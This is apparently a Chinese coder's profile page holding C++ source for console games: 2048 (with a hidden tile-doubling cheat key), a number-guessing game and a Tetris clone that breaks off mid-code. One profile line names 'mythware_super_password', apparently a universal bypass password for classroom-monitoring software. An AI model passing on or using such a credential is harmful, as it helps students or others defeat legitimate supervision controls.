-
个人简介
不要点击 mythware_super_password
2048
#include<iostream> #include<vector> #include<ctime> #include<cstdlib> #include<windows.h> using namespace std; class Game_2048 { public: Game_2048(); ~Game_2048(); void introduction(); bool judgeOver(); //判断游戏是否结束 void reSize(); void printBoard(); //打印函数 void getRand(); //随机在棋盘上生成2,4; void slide(); //滑动 private: int m=4, n=4; char op; //用户操作 vector< vector<int> > board; //棋盘 vector<int> row; bool judgeInsert(int x,int y); bool judgeSlide(); //判断是否能滑动,(未写完) void copyBoard(vector< vector<int> > &newBoard,vector< vector<int> > &board); void inputOp(); char getOp(); //返回操作符 bool judgeLeftSlide(bool mark=true); void leftSlide(); //左滑动 bool judgeRightSlide(bool mark = true); void rightSlide(); bool judgeUpSlide(bool mark = true); void upSlide(); bool judgeDownSlide(bool mark = true); void downSlide(); void reStart(); void enlarge(); //将值扩大二倍 }; int main() { Game_2048 NB; NB.introduction(); NB.getRand(); NB.printBoard(); while (!NB.judgeOver()) { NB.slide(); NB.getRand(); NB.printBoard(); } cout << "游戏结束!!!\n"; system("pause"); return 0; } void Game_2048::introduction() { cout << "这是一个2048游戏,规则如下:\n"; cout << "上划:W;\n下滑:S;\n左划:A;\n右划:D;\n退出:Q;\n重新开始:R;\n需输入每次的操作+回车\n"; Sleep(10000); cout << "开始"; Sleep(1000); } void Game_2048::slide() { inputOp(); switch (getOp()) { case 'a': case 'A': if (judgeLeftSlide()) do leftSlide(); while (judgeLeftSlide(false)); else { cout << "无法左滑动,请重试!!!\n"; slide(); } break; case 'd': case 'D': if (judgeRightSlide()) do rightSlide(); while (judgeRightSlide(false)); else { cout << "无法右滑动,请重试!!!\n"; slide(); } break; case 'w': case 'W': if(judgeUpSlide()) do upSlide(); while (judgeUpSlide(false)); else { cout << "无法上滑动,请重试!!!\n"; slide(); } break; case 's': case 'S': if(judgeDownSlide()) do downSlide(); while (judgeDownSlide(false)); else { cout << "无法下滑动,请重试!!!\n"; slide(); } break; case 'p': case 'P': enlarge(); break; case 'q': case 'Q': exit(0); break; case 'r': case 'R': reStart(); break; default: cout << "输入错误,作为惩罚,随机生成一个数!\n"; break; } } void Game_2048::reStart() { for (int i = 0; i < m; i++) for (int j = 0; j < n; j++) { board[i][j] = 0; } } void Game_2048::enlarge() { for (int i = 0; i < m; i++) for (int j = 0; j < n; j++) { board[i][j] *= 2; } } char Game_2048::getOp() { return op; } void Game_2048::upSlide() { for (int j = 0; j < n; j++) for (int i = m - 1; i > 0; i--) { //n-1!! if (board[i][j] != 0 && board[i - 1][j] == 0) //移动 { board[i - 1][j] = board[i][j]; board[i][j] = 0; } } for (int j = 0; j < n; j++) for (int i = m - 1; i > 0; i--) { if (board[i][j] != 0 && board[i-1][j] == board[i][j]) //覆盖 { board[i-1][j] += board[i][j]; board[i][j] = 0; } } } bool Game_2048::judgeUpSlide(bool mark) { if (mark) { for (int i = 0; i < m; i++) for (int j = n - 1; j > 0; j--) { if (board[i][j] == 0) return true; } } for (int j = 0; j < n; j++) for (int i = m - 1; i > 0; i--) { //n-1!! if (board[i][j] != 0 && board[i - 1][j] == 0) //移动 return true; if (board[i][j] != 0 && board[i - 1][j] == board[i][j]) //覆盖 return true; } return false; } bool Game_2048::judgeDownSlide(bool mark) { if (mark) { for (int i = 0; i < m; i++) for (int j = n - 1; j > 0; j--) { if (board[i][j] == 0) return true; } } for (int j = 0; j < n; j++) for (int i = 0; i < m - 1; i++) { //n-1!! if (board[i][j] != 0 && board[i + 1][j] == 0) //移动 return true; if (board[i][j] != 0 && board[i + 1][j] == board[i][j]) //覆盖 return true; } return false; } void Game_2048::downSlide() { for (int j = 0; j < n; j++) for (int i = 0; i < m - 1; i++) { if (board[i][j] != 0 && board[i + 1][j] == 0) //移动 { board[i + 1][j] = board[i][j]; board[i][j] = 0; } } for (int j = 0; j < n; j++) for (int i = 0; i < m - 1; i++) { if (board[i][j] != 0 && board[i + 1][j] == board[i][j]) //覆盖 { board[i + 1][j] += board[i][j]; board[i][j] = 0; } } } void Game_2048::rightSlide() { for (int i = 0; i < m; i++) for (int j = 0; j < n - 1; j++) { //n-1!! if (board[i][j] != 0 && board[i][j + 1] == 0) //移动 { board[i][j + 1] = board[i][j]; board[i][j] = 0; } } for (int i = 0; i < m; i++) for (int j = 0; j < n - 1; j++) { if (board[i][j] != 0 && board[i][j + 1] == board[i][j]) //覆盖 { board[i][j + 1] += board[i][j]; board[i][j] = 0; } } } bool Game_2048::judgeRightSlide(bool mark ) { if (mark) { for (int i = 0; i < m; i++) for (int j = n - 1; j > 0; j--) { if (board[i][j] == 0) return true; } } for (int i = 0; i < m; i++) for (int j = 0; j < n - 1; j++) { //n-1!! if (board[i][j] != 0 && board[i][j + 1] == board[i][j]) //覆盖 return true; if (board[i][j] != 0 && board[i][j + 1] == 0) return true; } return false; } void Game_2048::leftSlide() { for (int i = 0; i < m; i++) for (int j = 1; j < n; j++) { //n-1!! if (board[i][j] != 0 && board[i][j - 1] == 0) //移动 { board[i][j - 1] = board[i][j]; board[i][j] = 0; } } for (int i = 0; i < m; i++) for (int j = 1; j < n; j++) { if (board[i][j] != 0 && board[i][j - 1] == board[i][j]) //覆盖 { board[i][j - 1] += board[i][j]; board[i][j] = 0; } } } bool Game_2048::judgeLeftSlide(bool mark) { if (mark) { for (int i = 0; i < m; i++) for (int j = n - 1; j > 0; j--) { if (board[i][j] == 0) return true; } } for (int i = 0; i < m; i++) for (int j = n - 1; j > 0; j--) { //n-1!! if (board[i][j] != 0 && board[i][j - 1] == 0) //移动 return true; if (board[i][j] != 0 && board[i][j - 1] == board[i][j]) //覆盖 return true; } return false; } bool Game_2048::judgeOver() { if (op == 'q' || op == 'Q') return true; for (int i = 0; i < m; i++) for (int j = 0; j < n; j++) { if (board[i][j] == 2048) { printBoard(); cout << "有数字达到了2048,恭喜!!!\n"; return true; } } for (int i = 0; i < m; i++) for (int j = 0; j < n; j++) { if (board[i][j] == 0) return false; } if (judgeSlide()) return false; else { cout << "无法再滑动\n"; return true; } } bool Game_2048::judgeSlide() { vector< vector<int> > copyBoard; //棋盘 vector<int> copyRow; for (int i = 0; i < n; i++) { copyRow.push_back(0); } for (int i = 0; i < m; i++) { copyBoard.push_back(copyRow); } copyBoard = board; upSlide(); downSlide(); leftSlide(); rightSlide(); for (int i = 0; i < m; i++) for (int j = 0; j < n; j++) { if (board[i][j] == 0) { board = copyBoard; return true; } } return false; } void Game_2048::copyBoard(vector< vector<int> >& newBoard, vector< vector<int> >& board) { for (int i = 0; i < m; i++) for (int j = 0; j < n; j++) newBoard[i][j] = board[i][j]; } bool Game_2048::judgeInsert(int x,int y) { if (board[x][y] == 0) return true; else return false; } void Game_2048::getRand() { srand(time(0)); int x, y,val; do { x = rand() % m; y = rand() % n; } while (!judgeInsert(x,y)); val = (rand() % 2 + 1)*2; board[x][y] = val; } void Game_2048::inputOp() { cin >> op; } void Game_2048::reSize() { cout << "请输入棋盘大小m*n\n"; cin >> m >> n; Game_2048(); } Game_2048::~Game_2048() { } Game_2048::Game_2048() { for (int i = 0; i < n; i++){ row.push_back(0); } for (int i = 0; i < m; i++){ board.push_back(row); } } void Game_2048::printBoard() { system("cls"); cout << "\n--------------\n"; for (int i = 0; i < m; i++) { for (int j = 0; j < n; j++) { cout << board[i][j]; if (j < n-1) { cout << "—"; } if (j == n-1 && i < m-1) { cout << endl; int count = 0; while (count++ < n-1) { cout << "| "; } cout << "|" << endl; } } } cout << "\n--------------\n" ; }
猜数字
#include<iostream> #include<cstdlib> #include<ctime> #include<windows.h> using namespace std; int main(){ srand(time(0)); int n=11; int c=-1,ans=0; cout<<"你要猜的数字为: ***"<<endl<<"***的范围为1~1000"<<endl<<endl; while(c!=n){ cout<<"第"<<ans+1<<"次"<<endl<<"你猜的数是: "; cin>>c; ans++; if(c>n){ Sleep(500); cout<<"大了!"<<endl<<endl; } else if(c<n){ Sleep(500); cout<<"小了!"<<endl<<endl; } } cout<<endl<<endl<<"恭喜猜中! ! !"<<endl<<"共用了"<<ans<<"次! ! !"<<endl; system("pause"); return 0; }
俄罗斯方块
#include <iostream> #include <string> #include <ctime> #include <cstdlib> #include <windows.h> #include <conio.h> using namespace std; int block00[4][4] = { { 10, 0, 0, 0 }, { 1, 1, 1, 1 }, { 0, 0, 0, 0 }, { 0, 0, 0, 0 } }; int block01[4][4] = { { 11, 0, 1, 0 }, { 0, 0, 1, 0 }, { 0, 0, 1, 0 }, { 0, 0, 1, 0 } }; int block02[4][4] = { { 12, 0, 0, 0 }, { 0, 0, 0, 0 }, { 1, 1, 1, 0 }, { 0, 1, 0, 0 } }; int block03[4][4] = { { 13, 0, 0, 0 }, { 0, 1, 0, 0 }, { 1, 1, 0, 0 }, { 0, 1, 0, 0 } }; int block04[4][4] = { { 14, 0, 0, 0 }, { 0, 0, 0, 0 }, { 0, 1, 0, 0 }, { 1, 1, 1, 0 } }; int block05[4][4] = { { 15, 0, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 1, 0 }, { 0, 1, 0, 0 } }; int block06[4][4] = { { 16, 0, 0, 0 }, { 0, 0, 0, 0 }, { 1, 1, 1, 0 }, { 1, 0, 0, 0 } }; int block07[4][4] = { { 17, 0, 0, 0 }, { 1, 1, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 0, 0 } }; int block08[4][4] = { { 18, 0, 0, 0 }, { 0, 0, 0, 0 }, { 0, 0, 1, 0 }, { 1, 1, 1, 0 } }; int block09[4][4] = { { 19, 0, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 1, 0 } }; int block10[4][4] = { { 20, 0, 0, 0 }, { 0, 0, 0, 0 }, { 1, 1, 1, 0 }, { 0, 0, 1, 0 } }; int block11[4][4] = { { 21, 0, 0, 0 }, { 0, 1, 0, 0 }, { 0, 1, 0, 0 }, { 1, 1, 0, 0 } }; int block12[4][4] = { { 22, 0, 0, 0 }, { 0, 0, 0, 0 }, { 1, 0, 0, 0 }, { 1, 1, 1, 0 } }; int block13[4][4] = { { 23, 0, 0, 0 }, { 0, 1, 1, 0 }, { 0, 1, 0, 0 }, { 0, 1, 0, 0 } }; int block14[4][4] = { { 24, 0, 0, 0 }, { 0, 0, 0, 0 }, { 0, 1, 1, 0 }, { 1, 1, 0, 0 } }; int block15[4][4] = { { 25, 0, 0, 0 }, { 1, 0, 0, 0 }, { 1, 1, 0, 0 }, { 0, 1, 0, 0 } }; int block16[4][4] = { { 26, 0, 0, 0 }, { 0, 0, 0, 0 }, { 1, 1, 0, 0 }, { 0, 1, 1, 0 } }; int block17[4][4] = { { 27, 0, 0, 0 }, { 0, 0, 1, 0 }, { 0, 1, 1, 0 }, { 0, 1, 0, 0 } }; int block18[4][4] = { { 28, 0, 0, 0 }, { 0, 0, 0, 0 }, { 1, 1, 0, 0 }, { 1, 1, 0, 0 } }; void initialWindow (HANDLE hOut);//初始化窗口 void initialPrint (HANDLE hOut);//初始化界面 void gotoXY (HANDLE hOut, int x, int y);//移动光标 void roundBlock (HANDLE hOut, int block[4][4]);//随机生成方块并打印到下一个方块位置 bool collisionDetection (int block[4][4], int map[21][12], int x, int y);//检测碰撞 void printBlock (HANDLE hOut, int block[4][4], int x, int y);//打印方块 void clearBlock (HANDLE hOut, int block[4][4], int x, int y);//消除方块 void myLeft (HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//左移 void myRight (HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//右移 void myUp (HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//顺时针旋转90度 int myDown (HANDLE hOut, int block[4][4], int map[21][12], int &x, int y);//加速下落 void myStop (HANDLE hOut, int block[4][4]);//游戏暂停 void gameOver (HANDLE hOut, int block[4][4], int map[21][12]);//游戏结束 //判断是否能消行并更新分值 void eliminateRow (HANDLE hOut, int map[21][12], int &val, int &fraction, int &checkpoint); int main () { MessageBox (NULL, "欢迎来到俄罗斯方块游戏!", "温馨提示", MB_OK); system ("mode coon cols=200 lines=100"); system ("mode con cols=70 lines=35"); int map[21][12]; int blockA[4][4];//候选区的方块 int blockB[4][4];//下落中的方块 int positionX, positionY;//方块左上角的坐标 bool check;//检查方块还能不能下落 char key;//用来存储按键 int val;//用来控制下落速度 int fraction;//用来存储得分 int checkpoint;//用来存储关卡 int times; HANDLE hOut = GetStdHandle (STD_OUTPUT_HANDLE);//获取标准输出设备句柄 initialWindow (hOut); initial: gotoXY (hOut, 0, 0); initialPrint (hOut); check = true; val = 50; fraction = 0; checkpoint = 1; times = val; for (int i = 0; i < 20; i++) { for (int j = 1; j < 11; j++) { map[i][j] = 0; } } for (int i = 0; i < 20; i++) { map[i][0] = map[i][11] = 1; } for (int i = 0; i < 12; i++) { map[20][i] = 1; } srand ((unsigned) time (NULL)); roundBlock (hOut, blockA); while (true) { if (check) { eliminateRow (hOut, map, val, fraction, checkpoint); check = false; positionX = -3; positionY = 4; if (collisionDetection (blockA, map, positionX, positionY)) { for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { blockB[i][j] = blockA[i][j]; } } roundBlock (hOut, blockA); } else { gameOver (hOut, blockA, map); goto initial; } } printBlock (hOut, blockB, positionX, positionY); if (_kbhit ()) { key = _getch (); switch (key) { case 72: myUp (hOut, blockB, map, positionX, positionY); break; case 75: myLeft (hOut, blockB, map, positionX, positionY); break; case 77: myRight (hOut, blockB, map, positionX, positionY); break; case 80: switch (myDown (hOut, blockB, map, positionX, positionY)) { case 0: check = false; break; case 1: check = true; break; case 2: gameOver (hOut, blockB, map); goto initial; default: break; } break; case 32: myStop (hOut, blockA); break; case 27: exit (0); default: break; } } Sleep (20); if (--times == 0) { switch (myDown (hOut, blockB, map, positionX, positionY)) { case 0: check = false; break; case 1: check = true; break; case 2: gameOver (hOut, blockB, map); goto initial; default: break; } times = val; } } cin.get (); return 0; } void initialWindow (HANDLE hOut) { SetConsoleTitle ("俄罗斯方块"); COORD size = { 80, 25 }; SetConsoleScreenBufferSize (hOut, size); SMALL_RECT rc = { 0, 0, 79, 24 }; SetConsoleWindowInfo (hOut, true, &rc); CONSOLE_CURSOR_INFO cursor_info = { 1, 0 }; SetConsoleCursorInfo (hOut, &cursor_info); } void initialPrint(HANDLE hOut) { SetConsoleTextAttribute (hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); for (int i = 0; i < 20; i++) { cout << "■ ■☆ ☆" << endl; } gotoXY (hOut, 26, 0); cout << "☆☆☆☆☆☆☆☆☆☆☆"; gotoXY (hOut, 0, 20); cout << "■■■■■■■■■■■■☆☆☆☆☆☆☆☆☆☆☆☆☆"; gotoXY (hOut, 26, 1); cout << "分 数: "; gotoXY (hOut, 26, 2); cout << "关 卡: "; gotoXY (hOut, 26, 4); cout << "下一方块:"; gotoXY (hOut, 26, 9); cout << "操作方法:"; gotoXY (hOut, 30, 11); cout << "↑:旋转 ↓:速降"; gotoXY (hOut, 30, 12); cout << "→:右移 ←:左移"; gotoXY (hOut, 30, 13); cout << "空格键:开始/暂停"; gotoXY (hOut, 30, 14); cout << "Esc 键:退出"; gotoXY (hOut, 26, 16); cout << "关 于:"; gotoXY (hOut, 30, 18); cout << "俄罗斯方块V1.0"; gotoXY (hOut, 35, 19); } void gotoXY (HANDLE hOut, int x, int y) { COORD pos; pos.X = x; pos.Y = y; SetConsoleCursorPosition (hOut, pos); } void roundBlock(HANDLE hOut, int block[4][4]) { clearBlock (hOut, block, 5, 15); switch (rand() % 19) { case 0: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block00[i][j]; } } break; case 1: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block01[i][j]; } } break; case 2: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block02[i][j]; } } break; case 3: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block03[i][j]; } } break; case 4: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block04[i][j]; } } break; case 5: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block05[i][j]; } } break; case 6: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block06[i][j]; } } break; case 7: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block07[i][j]; } } break; case 8: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block08[i][j]; } } break; case 9: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block09[i][j]; } } break; case 10: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block10[i][j]; } } break; case 11: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block11[i][j]; } } break; case 12: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block12[i][j]; } } break; case 13: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block13[i][j]; } } break; case 14: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block14[i][j]; } } break; case 15: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block15[i][j]; } } break; case 16: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block16[i][j]; } } break; case 17: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block17[i][j]; } } break; case 18: for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block18[i][j]; } } break; default: break; } printBlock(hOut, block, 5, 15); } bool collisionDetection (int block[4][4], int map[21][12], int x, int y) { for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { if (x + i >= 0 && y + j >= 0 && map[x + i][y + j] == 1 && block[i][j] == 1) { return false; } } } return true; } void printBlock (HANDLE hOut, int block[4][4], int x, int y) { switch (block[0][0]) { case 10: case 11: SetConsoleTextAttribute (hOut, FOREGROUND_GREEN); break; case 12: case 13: case 14: case 15: SetConsoleTextAttribute (hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); break; case 16: case 17: case 18: case 19: SetConsoleTextAttribute (hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); break; case 20: case 21: case 22: case 23: SetConsoleTextAttribute (hOut, FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_INTENSITY); break; case 24: case 25: SetConsoleTextAttribute (hOut, FOREGROUND_GREEN | FOREGROUND_INTENSITY); break; case 26: case 27: SetConsoleTextAttribute (hOut, FOREGROUND_BLUE | FOREGROUND_INTENSITY); break; case 28: SetConsoleTextAttribute (hOut, FOREGROUND_RED | FOREGROUND_INTENSITY); break; default: break; } for (int i = 0; i < 4; i++) { if (i + x >= 0) { for (int j = 0; j < 4; j++) { if (block[i][j] == 1) { gotoXY (hOut, 2 * (y + j), x + i); cout << "■"; } } } } } void clearBlock (HANDLE hOut, int block[4][4], int x, int y) { for (int i = 0; i < 4; i++) { if (i + x >= 0) { for (int j = 0; j < 4; j++) { if (block[i][j] == 1) { gotoXY (hOut, 2 * (y + j), x + i); cout << " "; } } } } } void gameOver (HANDLE hOut, int block[4][4], int map[21][12]) { SetConsoleTextAttribute (hOut, FOREGROUND_RED | FOREGROUND_INTENSITY); gotoXY (hOut, 9, 8); string s = "GAME OVER"; for (int i = 0; i < s.size (); i++) { Sleep (80); cout << s[i]; } gotoXY (hOut, 8, 9); s = "空格键:重来"; for (int i = 0; i < s.size (); i++) { Sleep (80); cout << s[i]; } cout << endl; gotoXY (hOut, 8, 10); s = "ESC键:退出"; MessageBox (NULL, "很遗憾,您输了!", "温馨提示", MB_OK); for (int i = 0; i < s.size (); i++) { Sleep (80); cout << s[i]; } char key; while (true) { key = _getch (); if (key == 32) { return; } else if (key == 27) { exit(0); } } } int myDown (HANDLE hOut, int block[4][4], int map[21][12], int &x, int y) { if (collisionDetection(block, map, x + 1, y)) { clearBlock (hOut, block, x, y); ++x; return 0; } if (x < 0) { return 2; } for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { if (block[i][j] == 1) { map[x + i][y + j] = 1; SetConsoleTextAttribute (hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY); gotoXY (hOut, 2 * (y + j), x + i); cout << "■"; } } } return 1; } void myLeft (HANDLE hOut, int block[4][4], int map[21][12], int x, int &y) { if (collisionDetection (block, map, x, y - 1)) { clearBlock (hOut, block, x, y); --y; } } void myRight (HANDLE hOut, int block[4][4], int map[21][12], int x, int &y) { if (collisionDetection (block, map, x, y + 1)) { clearBlock (hOut, block, x, y); ++y; } } void myUp (HANDLE hOut, int block[4][4], int map[21][12], int x, int &y) { switch (block[0][0]) { case 10: if (collisionDetection (block01, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block01[i][j]; } } } break; case 11: if (collisionDetection (block00, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block00[i][j]; } } } else if (collisionDetection (block00, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block00[i][j]; } } --y; } else if (collisionDetection (block00, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block00[i][j]; } } ++y; } else if (collisionDetection (block00, map, x, y - 2)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block00[i][j]; } } y -= 2; } else if (collisionDetection (block00, map, x, y + 2)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block00[i][j]; } } y += 2; } break; case 12: if (collisionDetection (block03, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block03[i][j]; } } } else if (collisionDetection (block03, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block03[i][j]; } } --y; } else if (collisionDetection (block03, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block03[i][j]; } } ++y; } break; case 13: if (collisionDetection (block04, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block04[i][j]; } } } else if (collisionDetection (block04, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block04[i][j]; } } --y; } else if (collisionDetection (block04, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block04[i][j]; } } ++y; } break; case 14: if (collisionDetection (block05, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block05[i][j]; } } } else if (collisionDetection (block05, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block05[i][j]; } } --y; } else if (collisionDetection (block05, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block05[i][j]; } } ++y; } break; case 15: if (collisionDetection (block02, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block02[i][j]; } } } else if (collisionDetection (block02, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block02[i][j]; } } --y; } else if (collisionDetection (block02, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block02[i][j]; } } ++y; } break; case 16: if (collisionDetection (block07, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block07[i][j]; } } } else if (collisionDetection (block07, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block07[i][j]; } } --y; } else if (collisionDetection (block07, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block07[i][j]; } } ++y; } break; case 17: if (collisionDetection (block08, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block08[i][j]; } } } else if (collisionDetection (block08, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block08[i][j]; } } --y; } else if (collisionDetection (block08, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block08[i][j]; } } ++y; } break; case 18: if (collisionDetection (block09, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block09[i][j]; } } } else if (collisionDetection (block09, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block09[i][j]; } } --y; } else if (collisionDetection (block09, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block09[i][j]; } } ++y; } break; case 19: if (collisionDetection (block06, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block06[i][j]; } } } else if (collisionDetection (block06, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block06[i][j]; } } --y; } else if (collisionDetection(block06, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block06[i][j]; } } ++y; } break; case 20: if (collisionDetection (block11, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block11[i][j]; } } } else if (collisionDetection (block11, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block11[i][j]; } } --y; } else if (collisionDetection (block11, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block11[i][j]; } } ++y; } break; case 21: if (collisionDetection (block12, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block12[i][j]; } } } else if (collisionDetection(block12, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block12[i][j]; } } --y; } else if (collisionDetection (block12, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block12[i][j]; } } ++y; } break; case 22: if (collisionDetection (block13, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block13[i][j]; } } } else if (collisionDetection (block13, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block13[i][j]; } } --y; } else if (collisionDetection (block13, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block13[i][j]; } } ++y; } break; case 23: if (collisionDetection (block10, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block10[i][j]; } } } else if (collisionDetection (block10, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block10[i][j]; } } --y; } else if (collisionDetection (block10, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block10[i][j]; } } ++y; } break; case 24: if (collisionDetection (block15, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block15[i][j]; } } } else if (collisionDetection (block15, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block15[i][j]; } } --y; } else if (collisionDetection (block15, map, x, y + 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block15[i][j]; } } ++y; } break; case 25: if (collisionDetection (block14, map, x, y)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block14[i][j]; } } } else if (collisionDetection (block14, map, x, y - 1)) { clearBlock (hOut, block, x, y); for (int i = 0; i < 4; i++) { for (int j = 0; j < 4; j++) { block[i][j] = block14[i][j]; } } --y; } else if 